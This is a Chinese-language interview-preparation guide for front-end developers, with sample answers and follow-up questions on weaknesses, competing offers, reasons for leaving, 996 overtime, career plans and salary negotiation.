
要限定一个范围

  • 技术方面的
  • 非核心技术栈的,即有不足也无大碍
  • 些容易弥补的,后面才能“翻身”

错误的示范

  • 我爱睡懒觉、总是迟到 —— 非技术方面
  • 我自学的 Vue ,但还没有实践过 —— 核心技术栈
  • 我不懂 React —— 技术栈太大,不容易弥补

正确的示范

  • 脚手架,我还在学习中,还不熟练
  • nodejs 还需要继续深入学习

💬 面试官追问

  • 你说 Node.js 不熟,那我问一下事件循环和浏览器有什么区别?

    这就是为什么不足要选「有基础、不深入」的,而不是完全空白。能答出 Node 有 timers、poll、check 几个阶段、process.nextTick 优先级更高,就说明你说的是实话,也在补。

  • 为什么不能直接说「我没什么明显的缺点」?

    这等于告诉面试官你没反思过自己。谁都有短板,答不出来反而扣分,显得不真诚或者自我认知不清。

  • 「我不擅长和人沟通」这种缺点能说吗?

    不建议。开发天天要和产品、后端、测试对需求,沟通是岗位基本要求,这个缺点几乎等于不合格。

  • 你说预计三个月补齐,面试官问具体怎么补,你怎么答?

    要给出能落地的东西:看什么文档、做什么练手项目、每周花多少时间。比如「每周写一个 CLI 小工具,把 fs、stream 这些模块用一遍」,比「多看书多学习」可信得多。

# 你觉得你最大的缺点是什么

⚡ 30 秒速记

  • 和「不足之处」同一个考点:真实 + 不致命 + 有改进行动 + 最好有效果
  • 选能力上的短板比选性格上的安全,比如运维部署经验少
  • 讲清楚原因:是以前工作里用得少,而不是不想学
  • 后半段比前半段重要:已经在怎么补,现在补到什么程度了
  • 别选和岗位核心要求冲突的,也别遮遮掩掩

我一般会说一个和工作相关、但不是岗位核心的能力短板,比如运维和部署这块经验偏少。 原因是之前团队有专门的运维,前端打完包交出去就行,我很少碰 Nginx 配置和 CI/CD 流水线。后来上线排查问题时发现自己看不懂部署链路很被动,就开始自己搭 Docker 环境、给个人项目配 GitHub Actions,现在至少能看懂流水线报错、自己改简单的 Nginx 配置了。重点是让对方看到你知道自己哪里弱,而且已经在动手。

当被问到自己最大的缺点时,可以使用以下策略来回答:

  1. 弱点与职业相关:提到一个与你当前从事的职业相关的弱点。例如,如果你是前端开发人员,可以说你在运维和部署方面的知识和经验相对不足;如果你是后端开发人员,可以提到对于炫酷的页面交互设计方面的熟悉度还有待提高。
  2. 突出学习态度:将你的缺点与积极的学习态度联系起来。举例来说,你可以说在过去的工作中,由于工作要求没有经常使用某个特定的技术栈,因此对该技术栈的理解还不够深入。但你强调自己的好学心态,并说明你主动购买相关书籍、观看教学视频,并利用业余时间积极学习和探索。
  3. 自我进步与分享:强调你在个人成长方面所做的努力和投入。提到每天下班后用一个小时的时间参与技术论坛(如掘金、CSDN等),阅读他人的文章,并与他们交流和分享自己的疑惑。强调通过与他人互动,共同进步,并逐渐增强自己在该领域的专业知识。

通过这种回答方式,你不仅能够坦诚地承认自己的缺点,还能够展示自己的学习能力和积极进取的态度,给面试官留下积极向上的印象。

💬 面试官追问

  • 「缺点」和「不足」这两题被同一个面试官连着问,你答一样的吗?

    最好别完全一样,显得只准备了一个答案。可以一个讲技术短板,另一个讲工作方式上的改进,比如以前估工期偏乐观,现在会把联调和测试时间单独留出来。

  • 你说部署经验少,那我们这边前端要自己维护 CI 流程,你怎么办?

    顺势接住:说清楚自己已经能做到哪一步,比如能配基础的构建和部署流水线,剩下的愿意在入职初期重点补。别因为被追问就改口说「其实我也挺会」。

  • 能说「我性格太急」这种性格缺点吗?

    可以,但必须带上具体的改进和例子,比如「以前收到需求就动手,返工多,现在会先花半小时把边界情况列出来再写」。只说性格不说改进,听起来像在找借口。

  • 怎么判断一个缺点是不是「致命」的?

    拿 JD 对照:JD 里写的必备技能、岗位职责里的核心工作,凡是沾边的都别选。加分项里的东西可以说,那本来就不是硬要求。

# 你还有其他公司的Offer吗?

⚡ 30 秒速记

  • HR 问这个是在判断你的市场竞争力,以及你多久会做决定
  • 有就照实说,但不报具体公司名和薪资数字
  • 顺势表态:更看重贵司哪一点,把话题拉回对这个岗位的兴趣
  • 没有也别慌:「在推进几家,贵司是我比较想去的」就够了
  • 千万别编 offer 压价,圈子很小,追问细节一下就穿帮

有的话我会如实说还有一两家在推进,但不透露具体公司和薪资。 接着会表明态度,比如我更看重这边的业务方向和团队,如果条件差不多会优先考虑这里。如果确实有一家催着答复,也可以说出来,问一下这边流程大概还要多久,这不算施压,是正常的信息同步。最忌讳的是虚构 offer 抬价,HR 稍微问两句公司和职级你就答不上来了。

在回答是否有其他公司的Offer时,可以使用以下方式:

  1. 确认有多个Offer:表示自己已经收到了多个工作机会的邀约,可以说有三四个已经确认过的Offer。但是,避免透露具体公司的名称,以避免违反保密约定或造成不必要的麻烦。
  2. 表示对本公司的意向:强调对本公司的兴趣和优先考虑。可以说,尽管有多个Offer,但本公司是你的首选,你对这里的工作环境、文化以及发展机会很感兴趣。如果薪资差距不大,你会倾向于选择本公司。
  3. 提及其他催促的Offer:透露有一两个Offer对你的决定比较急迫,希望本公司能够尽快给出结果。这样可以传达你对本公司的热忱,同时给予HR或招聘团队一些压力,加快决策的速度。

重要的是,保持真实和诚实,并且在回答时展现出对本公司的兴趣和积极性,但不要过于咄咄逼人或给人留下不专业的印象。

💬 面试官追问

  • HR 追问「是哪几家?给你开了多少?」,你怎么答?

    可以说行业和规模,比如「同行业两家,规模和贵司差不多」,具体公司和数字以保密为由不透露。对方一般不会再逼,逼了也可以客气地坚持。

  • 手上一个 offer 都没有,HR 问起来要不要硬说有?

    不要。照实说「目前还在面几家,贵司是我重点考虑的」完全没问题,没 offer 不丢人,编一个被拆穿才麻烦。

  • 另一家给的钱明显更多,但更想来这家,要不要说?

    可以平和地说,比如「另一家报价比我期望高一些,但我更想做贵司这块业务,希望薪资上能尽量接近」。重点是给对方一个能去争取的理由,而不是下最后通牒。

  • 对方说「我们流程比较慢,可能要两周」,而另一家三天后就要答复,怎么办?

    直接把时间点告诉 HR,问能不能加快后续面试。大部分公司遇到想要的人会配合提速;实在赶不上,至少你不是突然消失的。

# 为什么从上一家公司离职?

⚡ 30 秒速记

  • 底线:不说前东家和前同事的坏话,哪怕真的很糟
  • 把原因归到发展和客观条件上:业务方向变了、成长空间有限、公司搬迁通勤太远
  • 结构:客观现状 + 我想要什么 + 为什么这个岗位能给我
  • 被裁员可以直接说是组织调整,重点讲这段经历带走了什么
  • 忌讳:抱怨领导、抱怨加班、只说钱少

我离职主要是原来的岗位和我想走的方向对不上了,想找一个能继续成长的环境。 比如上家公司业务转向定制化交付,前端主要是改配置、拼页面,我更想深入做复杂交互和性能优化,而贵司这个岗位刚好在做这块。如果确实有通勤太远、长期加班这些客观原因,也可以说,但要点到为止,重点放在你接下来想做什么。不管原因多真实,都不要说前公司和同事不好,面试官会担心你以后也这么评价他们。

在回答为什么离开上一家公司时,可以提及以下原因:

  1. 长时间通勤:可以说公司搬迁导致通勤时间变得过长,例如三个小时的通勤时间。这样的情况下,每天花费在路途上的时间过多,影响到了工作与生活的平衡。
  2. 工作与生活平衡:可以表达对工作与生活平衡的追求。指出在上一家公司由于长时间加班,没有足够的时间用于个人发展和充电,无法提高自己的技能和知识。这可能是导致你寻求一个更好的工作环境和更好的生活质量的原因之一。
  3. 进一步发展:强调你对个人职业发展的追求。指出你在上一家公司的成长空间有限,希望能够找到一个更有挑战性和发展机会的岗位。你希望能够在新的工作环境中学习和成长,并为公司做出更大的贡献。
  4. 其他因素:除了以上原因,还可以提及其他可能的因素,如公司文化不符合个人价值观、缺乏晋升机会或薪资待遇不合理等。但需要注意,避免过于负面或批评性的表达,以保持专业和积极的形象。

重要的是,在回答时保持真实性和诚实性,并强调你离开的原因与你目前的职业目标和对新公司的期望相符合。

💬 面试官追问

  • 你上一份工作才干了八个月就走,怎么解释?

    老实说原因,但要让对方相信这次不一样。比如「入职后业务调整,岗位职责和面试时说的差别很大」,再补一句这次换工作前专门确认过岗位内容。

  • 被裁员了,说出来会不会显得自己能力不行?

    不会,整个部门或项目被砍很常见,面试官见得多了。坦然说是组织调整,然后讲你在那段时间做成了什么,别躲躲闪闪。

  • 离职就是因为钱少,能直接说吗?

    可以提,但别只说钱。比如「薪资一直低于市场水平,同时这两年做的东西也比较重复」,钱是原因之一,成长是另一半,听起来更完整。

  • 面试官问「如果原公司给你涨薪留你,你会留下吗?」,怎么答?

    如果走主要是因为方向不对,就说涨薪解决不了这个问题。说「看情况」会让对方担心你只是拿 offer 回去谈价。

# 如何看待加班(996)?

⚡ 30 秒速记

  • 这题在试探态度:不是让你表忠心,也不是让你划红线
  • 立场:项目节点和线上故障带来的加班能接受,长期无效加班不认同
  • 个人长期加班 → 先反思时间管理和流程;团队长期加班 → 一起找原因,推动自动化和流程改进
  • 可以反问团队的常态节奏,既表明态度也拿到真实信息
  • 忌讳:「绝不加班」显得不合作,「随便加」显得没判断力

项目上线、线上出故障这种紧急情况,我肯定会加班顶上,但我不认为长期 996 应该是常态。 如果我自己老是加班,我会先看是不是任务拆得不好、估时太乐观,或者有重复劳动能用脚本解决。如果是整个团队长期加班,那多半是需求排期或流程有问题,我愿意一起找原因,比如推动自动化测试、规范提测流程,减少返工。说完我一般会问一句团队平时的节奏,这样双方都心里有数。

  • 对于加班(996)这个话题,我的观点是将其分为紧急加班和长期加班两种情况,并采取不同的态度和应对方式。
  • 首先,对于紧急加班,我理解在某些情况下,公司和团队可能面临紧迫的项目交付或突发的问题需要解决。在这种情况下,我愿意主动承担加班工作,牺牲自己的时间来帮助公司和团队完成任务。我认为这是每个公司都会遇到的情况,作为团队成员,我愿意以身作则,积极配合团队的需要。
  • 然而,对于长期加班,我持有不同的观点。如果我个人长期加班,我会认为这是一个机会来磨练自己的技能,并提高工作效率。长期加班可能是因为时间管理不当、工作安排不合理或者缺乏高效的工作流程等原因造成的。在这种情况下,我会积极寻找解决问题的方式,如优化个人工作流程、学习和应用自动化工具、改进协作方式等,以提高工作效率并摆脱长期加班的状态。
  • 如果是团队长期加班,我会尝试帮助团队找到问题所在,并提出改进方案。我会与团队成员一起探讨和实施高效的协作流程,引入适当的自动化工具和技术,以提高整个团队的工作效率。我认为通过团队的努力,可以摆脱长期加班的局面,使工作更加高效、有序,并确保成员的工作与生活平衡。
  • 总的来说,我认为加班在某些情况下是不可避免的,但长期加班不应该成为常态。我会尽力提高个人和团队的工作效率,找到问题所在,并积极采取措施解决,以实现工作与生活的平衡。同时,我也鼓励团队成员之间的相互支持和合作,共同努力营造一个高效、有序的工作环境。

💬 面试官追问

  • 我们这边就是 996,你能接受吗?

    想清楚再答,这时候说「能」等于签了承诺。可以说「阶段性冲刺没问题,想了解一下是长期这样还是项目期这样」,问清楚再决定。

  • 你说会推动减少加班,具体能做什么?

    说几个前端能落地的:组件和模板沉淀减少重复开发、接 Mock 让前后端并行、加自动化测试和 CI 检查减少提测打回。别只说「提高效率」。

  • 如果团队都留着,就你按时下班,你会怎么处理?

    活干完了、质量过关就正常下班,有需要随时能响应就行。但刚入职那段时间我会多观察一下团队节奏,别让人觉得你对项目不上心。

  • 上线前一晚发现一个严重问题,修完要到凌晨,你会怎么做?

    先和负责人确认是修了再上还是推迟发布,别一个人闷头修。确定要修就加班修,同时拉上测试一起验证,第二天可以申请调休。

# 你对未来3-5年的职业规划

⚡ 30 秒速记

  • HR 真正关心的是:你的规划和这个岗位能不能长期对上,会不会半年就走
  • 分阶段说:第 1 年熟悉业务、补短板 → 2~3 年成为某个方向的骨干(比如性能、工程化)→ 3~5 年做技术专家或带小团队
  • 必须和应聘岗位挂钩,让对方觉得你想要的成长在这里能实现
  • 忌讳:转行、创业、考公、「还没想好」
  • 也别说得太满,「三年做到架构师」听着不现实

我会把规划拆成几个阶段说,而且每个阶段都和这个岗位挂上钩。 比如第一年先把业务和团队的技术栈吃透,能独立负责一个模块;两三年里希望在某个方向做深,比如前端性能或者工程化,成为团队里这块能拍板的人;再往后看机会,可以往技术专家走,也可以带几个人。具体走哪条路要看团队需要,但我不会只盯着职级,更在意能不能真正解决复杂问题。这样说,HR 能看到你有规划,也会在这里长期待下去。

  • 对于未来3-5年的职业规划,我已经认真考虑过,并且有一些明确的目标和计划。目前,我正处于职业发展的早期阶段,我希望能够在现有的岗位上不断提升自己,并逐步承担更高级别的责任和挑战。
  • 从工作本身出发,我计划通过持续努力和学习,不断提高自己的技术能力和解决问题的能力。我将致力于出色完成本职工作,同时积极与团队合作,为团队的成功贡献我的力量。我希望能够带领团队的其他成员,共同创造更多的价值,并帮助团队扩大影响力,提升整个团队的表现。
  • 除了在工作中表现出色,我也非常重视学习和个人成长。我会继续精进自己的领域知识,不断跟进行业的发展动态,并通过参加培训、研讨会等途径不断提升自己的专业能力。我也愿意与团队分享我的学习成果,帮助团队中的其他成员成长和发展。
  • 总的来说,我的职业规划是在未来3-5年内通过不断学习和实践,成为在我的领域中具备丰富经验和卓越表现的专业人士。我希望能够在团队中发挥更大的作用,取得职业上的突破,并为公司的发展做出积极的贡献。

💬 面试官追问

  • 你说想做技术专家,那为什么不去大厂?

    别贬低大厂也别贬低自己,说清楚这里有什么吸引你。比如这边的业务复杂度够、前端能参与更多决策,比在大厂做一个小模块成长更快。

  • 如果三年后公司没有管理岗位给你,你会走吗?

    说清楚管理不是唯一目标,技术深度同样能体现价值。可以说「如果没有管理岗位,我也愿意在技术线上继续深入」,打消对方的顾虑。

  • 你的规划里写了「工程化」,具体打算做什么?

    要能举出具体的事:比如统一脚手架和代码规范、优化构建速度、搭监控和发布流程。说得出具体事,规划才不像是背的。

  • 还没想清楚未来要做什么,能不能直接这么说?

    不建议。哪怕不确定,也可以说一个当下的方向,比如「近两年想先在前端性能上做深」。「没想好」在 HR 听来就是不稳定。

# 如何与HR谈薪资

⚡ 30 秒速记

  • 先做功课:查清目标城市、目标职级的市场区间,心里有底
  • 尽量让对方先出价:「想先了解一下这个岗位的预算范围」
  • 必须先报时给区间,不报单个数字,区间下限要比你的底线高一点
  • 谈总包不只谈月薪:基本工资、年终几个月、绩效、股票期权、公积金比例、补贴
  • 有别的 offer 可以平和提,别用威胁口气;口头承诺都要写进书面 offer

谈薪资之前一定要先摸清市场行情,谈的时候尽量让 HR 先说预算。 如果对方坚持要我先报,我会给一个区间,比如「根据我的经验和市场情况,期望在 25K 到 28K 之间,具体看整体待遇」,区间下限会比我的心理底线稍高,留出谈的空间。还要问清楚年终几个月、是固定还是看绩效、公积金按什么基数交,有的公司月薪低但年终高,算下来总包反而更多。最后所有谈好的条件,尤其是年终和期权,都要写在书面 offer 里。

与HR谈薪资时,可以采取一些策略和技巧来达到更好的结果。以下是一些建议:

  1. 先了解市场行情:在面试之前,可以调研该职位在市场上的薪资范围,以便有一个大致的参考标准。这样你就能更有理据地进行讨论。
  2. 引导HR给出薪资范围**:当HR问你期望的薪资时,你可以委婉地回答:“根据我的经验和技能,我期望能够获得与市场价值相符的薪资。贵公司对该职位的薪资范围是多少呢?”这样可以让HR先给出一个参考范围,为后续的讨论提供依据。
  3. 强调你的价值:在谈论薪资时,强调你在面试中展现出的能力和潜力,以及你对公司的价值和贡献。说明你具备的技能、经验和特长,并举例说明你如何在过去的工作中为公司创造了价值。这样可以增加谈判时争取更好薪资的机会。
  4. 谈论综合福利:薪资并不是唯一的关注点,还有其他福利待遇,如培训机会、晋升空间、灵活的工作时间等。在与HR谈判时,可以提及你对这些综合福利的重视,并尝试寻求一种综合福利与薪资相平衡的方案。 5.** 灵活性的回答**:在给出薪资期望时,可以给出一个范围而非具体数字,这样可以在一定程度上保留谈判的空间。例如:“根据我对市场的了解,我期望的薪资在X到Y之间,具体的数字可以根据公司对我的综合评估来确定。”

最重要的是要保持积极、开放的态度,并尊重双方的利益和限制。通过明确表达自己的期望和对公司的价值,与HR进行积极的讨论和协商,有助于达成一个双方都满意的薪资安排。

💬 面试官追问

  • HR 说「你上家多少,我们按那个涨 20%」,你怎么回?

    上家薪资可以如实说,但别让它成为唯一依据。可以说「我更希望按这个岗位的职责和市场水平来定」,再给出你的期望区间。

  • 对方开价比你的期望低 3K,还能谈吗?

    能谈。先说明你的期望依据,比如目前市场同级别的水平、你能带来的具体价值;月薪实在上不去,可以争取签字费、更高的年终或者半年后调薪。

  • 年终奖说是「3~6 个月」,怎么判断能拿多少?

    问清楚过去两年团队实际发了多少、和什么绩效挂钩、是否写进合同。只写「视公司经营情况」的,按下限算更稳。

  • HR 说「这个数已经是最高了」,是真的吗?

    不一定,但可以试一次:问一下有没有其他空间,比如职级、期权或者入职奖金。对方确实给不了就看自己的底线,别为了几百块把气氛谈僵。

webapp
公众号
开发者导航
切换夜间模式
点击侧边栏下一篇
折叠侧边栏
收起全部